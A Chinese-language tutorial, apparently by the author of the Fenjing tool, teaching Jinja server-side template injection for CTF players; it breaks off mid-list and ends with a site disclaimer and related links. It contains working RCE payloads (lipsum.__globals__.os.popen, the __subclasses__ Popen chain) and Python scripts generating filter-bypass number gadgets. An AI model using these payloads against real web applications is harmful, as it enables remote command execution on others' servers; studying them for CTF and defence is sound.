Fenjing 作者的 Jinja SSTI 完全进阶教程

2025-04-11 5 0

介绍

Jinja SSTI 的绕过手法非常多,但是很多文章在介绍绕过手法的时候只会从绕过字符的角度切入,难以查找,而且介绍的手法也不够全。

这里我将 fenjing 开发两年中包含的所有手法都整合在这篇文章中,并从构造目标的角度切入,希望可以让各位选手进阶 Jinja SSTI

有些手法很难手搓,本文会附带上示例脚本用于生成 payload

目录

  • 整体 payload 的构造思路

  • 常用技巧

  • 任意自然数

    • 十六进制、二进制和八进制

    • filter

    • 加减乘除

    • True 和 False

    • unicode

  • 字符串拼接

    • +~

    • join

    • replace

    • __add__

    • lipsum.__globals__.concat

    • "%s%%s"

    • 特殊:字符串重复

  • 英文小写字符、阿拉伯数字和下划线

    • dict

    • 从全局对象中提取

  • 特殊字符:百分号%

  • 特殊字符串:"%c"

  • 任意字符串 - 简单手法

  • 任意字符串 - 复杂手法

  • 取属性和字典的值

  • map filter

  • globals()

  • “全局函数”

  • 取 flask config

  • 构造最终 payload

整体 payload 的构造思路

不要再用你那啰里八嗦的__subclasses__

很多入门 jinja SSTI 教程都喜欢教小白用"".__mro__之类的技巧搓 payload

套路就是使用__base__,__mro__之类的属性拿到object类,然后用__subclasses__找到需要的类,比如

{{ "".__class__.__mro__[1].__subclasses__()[513]('ls /',stdout=-1,stderr=-1,shell=True).communicate()[0]}} 

可是这个套路不仅要从一个非常长的列表中挑出subprocess.Popen的位置(在上面是 513),如果要打内存马甚至还得从这个类中拿出__init__函数,再找eval函数,比如说这样:

[].__class__.__mro__[1].__subclasses__()[513].__init__.__globals__['__builtins__']['eval'](...) 

这不是脱裤子放 P 吗
lipsum等全局变量可以直接拿到eval函数,__import__函数,os模块等等,用不着__subclasses__,也根本不需要用到__mro__之类的东西

那有人就会说了:如果像lipsum这些东西都被 ban 了怎么办?我接下来会在“全局变量”一段展示如何用任意变量名代替lipsum,cycler,g等全局变量

使用lipsum.__globals__.__bulitins__.eval

使用 lipsum 等全局变量可以直接找到builtins模块,然后直接拿到eval函数或者__import__函数实现 RCE. 这样不需要从列表中找到subprocess.Popen类,构造出的 payload 也会简单很多
比如

  • lipsum.__globals__.__builtins__.eval('114+514')就是从 lipsum 中拿到__globals__这个属性(也就是globals()字典),取其中__builtins__的值,再拿出 eval 函数,计算114+514

  • lipsum.__globals__.__builtins__.__import__('os').popen('ls /').read()和上面的差不多,但是是拿出__import__函数,导入 os 模块,调用 popen 函数执行ls /,最后读取输出

使用lipsum.__globals__.os.popen

如果只需要构造命令的话可以直接拿出 os 模块调用 popen 函数,比如

{{ lipsum.__globals__.os.popen('ls').read() }} {{ cycler.next.__globals__.os.popen('ls').read() }} 

注意 flask 提供的变量,如g,self等不能这么操作,因为这些类所在的.py 文件没有import os

构造套路

综合上面的手法来看,payload的构造思路是:

  • 首先思考构造"_","%c"等特殊字符串

  • 然后思考构造任意数字/字符串

  • 再然后取全局变量的属性

  • 最后调用eval等函数实现RCE.

一般来说只有从上到下依次实现才能构造出需要的payload. 而其中最重要的就是任意字符串。如果没有任意字符串,那取属性、调用eval函数等等都会变得非常困难。

常用技巧

  • 所有会将任意对象转成字符串的 filter

    • capitalize

    • center

    • escape(可简写为 e)

    • forceescape(不如上面那个好用)

    • lower

    • pprint

    • safe

    • string

    • trim

    • unique

    • upper

    • urlencode

  • 取出字符串/列表的第 i 个字符/元素:"abcdef"|batch(i)|first|last(i 从 1 开始)

    • 如果方括号[]被 ban 了的话,可以使用batch这个 filter 拿出字符串的第 i 个字符或者列表的第 i 个元素

    • batch这个 filter 的作用是将字符串/列表 n 个 n 个地切分开,分成多个列表。比如"abcdef"会变成[["a","b"],["c","d"],["e","f"]],特别注意第 n 个字符正好在第一个列表的最后一位

    • 这样,我们要拿出第 i 个字符(比如说字符串"abcdef"中的第二个字符 b),只需要用"abcdef"|batch(2)|first|last就好了

    • 原理是将字符串"abcdef"两个两个地分开,这样字符 b 就在第一个列表的最后一个元素,用|first|last拿出来就好了

任意自然数

有些难题会禁止某些数字,甚至禁止 0-9 的出现,如果我们不能生成数字,就不能通过"%c"生成任意字符串了。

构造数字的方法主要有以下这些

十六进制、二进制和八进制

这个应该大家都能想到,如果有某些被 ban 了可以考虑用十六进制等绕过
比如说0x61就是数字 97,0b1000001就是数字 65,0o173就是数字 123
要把数字转成对应的十六进制等可以用 python 内置的hex等函数

filter

lengthcount

我们可以构造出一个很长的列表、元组或者字典,然后取这个列表的长度,这样构造出所有数字

def get_number(n, length_or_count="length"): if n == 0: return "()|" + length_or_count elif n == 1: return "()|int|e|" + length_or_count elif n == 2: return "(()|int~()|int)|" + length_or_count elif n % 2 == 0: return "(" + "~".join("()" for _ in range(n // 2)) + ")|" + length_or_count else: return "(" + "~".join("()" for _ in range(n // 2)) + "~()|int)|" + length_or_count 

如果不能使用逗号的话也可以构造出一个很长的字符串(一般用dict构造)然后求长度

def get_number(n): return "dict("+"i"*n+"=i)|first|count" print(get_number(10)) # dict(iiiiiiiiii=i)|first|count 

int

如果我们可以用其他方法构造出 0-9 这些数字的字符,就可以拼接这些字符并通过int生成需要的数字

这里使用波浪线~拼接各个数字字符

def get_number_small(n, length_or_count="length"): """这个函数用来生成数字0-9""" if n == 0: return "()|" + length_or_count elif n == 1: return "()|int|e|" + length_or_count elif n == 2: return "(()|int~()|int)|" + length_or_count elif n % 2 == 0: return "(" + "~".join("()" for _ in range(n // 2)) + ")|" + length_or_count else: return "(" + "~".join("()" for _ in range(n // 2)) + "~()|int)|" + length_or_count def get_number(n, length_or_count="length"): if n < 10: return get_number_small(n, length_or_count) return "(" + "~".join(get_number_small(int(x)) for x in str(n)) + ")|int" print(get_number(123)) # (()|int|e|length~(()|int~()|int)|length~(()~()|int)|length)|int 

sum

可以先构造出数字 1,然后用 sum 将多个数字 1 求和,得出任意正整数

def get_number(n): one = "1" # 或者"True" return "("+",".join(one for _ in range(n))+")|sum" print(get_number(10)) # (1,1,1,1,1,1,1,1,1,1)|sum 

加减乘除等

如果我们能生成比较小的数字,我们就可以通过加减乘除计算出需要的所有自然数

甚至,我们只需要能构造出数字 1,就能通过1+1+1+...的方式构造出所有正整数,也可以用1-1的方式构造出 0

def get_number(n): if n == 0: return "0" elif n == 1: return "1" else: # 其中的"1"也可以换成其他 return "("+"+".join("1" for _ in range(n))+")" print(get_number(123)) # 1+1+1+... 

除了加减乘除之外我们还可以使用乘方,使用乘方可以大大减少 payload 长度(虽然在大部分情况下都没用)

True 和 False

True 是 1, False 是 0, 而且在 python 中 bool 是 int 的子类,所以可以用 True 替换 1

然后使用加法就能构造出所有正整数,比如 5 就是True+True+True+True+True

def get_number(n): if n == 0: return "False" elif n == 1: return "True" else: return "("+"+".join("True" for _ in range(n))+")" print(get_number(123)) # (True+True+True+True+True+True+True+True+True+True+... 

unicode

python 除了可以识别普通的数字字符之外还支持 Unicode 数字字符。比如说int('႖႖႖')在 python 中的结果为 666。所以我们可以将部分字符替换成这些 unicode 字符实现绕过。

通过 fuzz 我们可以得到所有可以被转成 0-9 的字符,其中每个字符串中的字符从左到右分别代表 0-9

[ "٠١٢٣٤٥٦٧٨٩", "۰۱۲۳۴۵۶۷۸۹", "߀߁߂߃߄߅߆߇߈߉", "०१२३४५६७८९", "০১২৩৪৫৬৭৮৯", "੦੧੨੩੪੫੬੭੮੯", "૦૧૨૩૪૫૬૭૮૯", "୦୧୨୩୪୫୬୭୮୯", "௦௧௨௩௪௫௬௭௮௯", "౦౧౨౩౪౫౬౭౮౯", "೦೧೨೩೪೫೬೭೮೯", "൦൧൨൩൪൫൬൭൮൯", "๐๑๒๓๔๕๖๗๘๙", "໐໑໒໓໔໕໖໗໘໙", 

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

不是哥们,北大被”RCE”了?
WAF开发之防护HTTP洪水攻击
打靶日记——prime1
“剪贴板劫持”攻击:黑客利用虚假验证码通过入侵网站窃取数据
护网还没开始,电脑先中毒了,那就实战
【THM】offensive-Steel Mountain

发布评论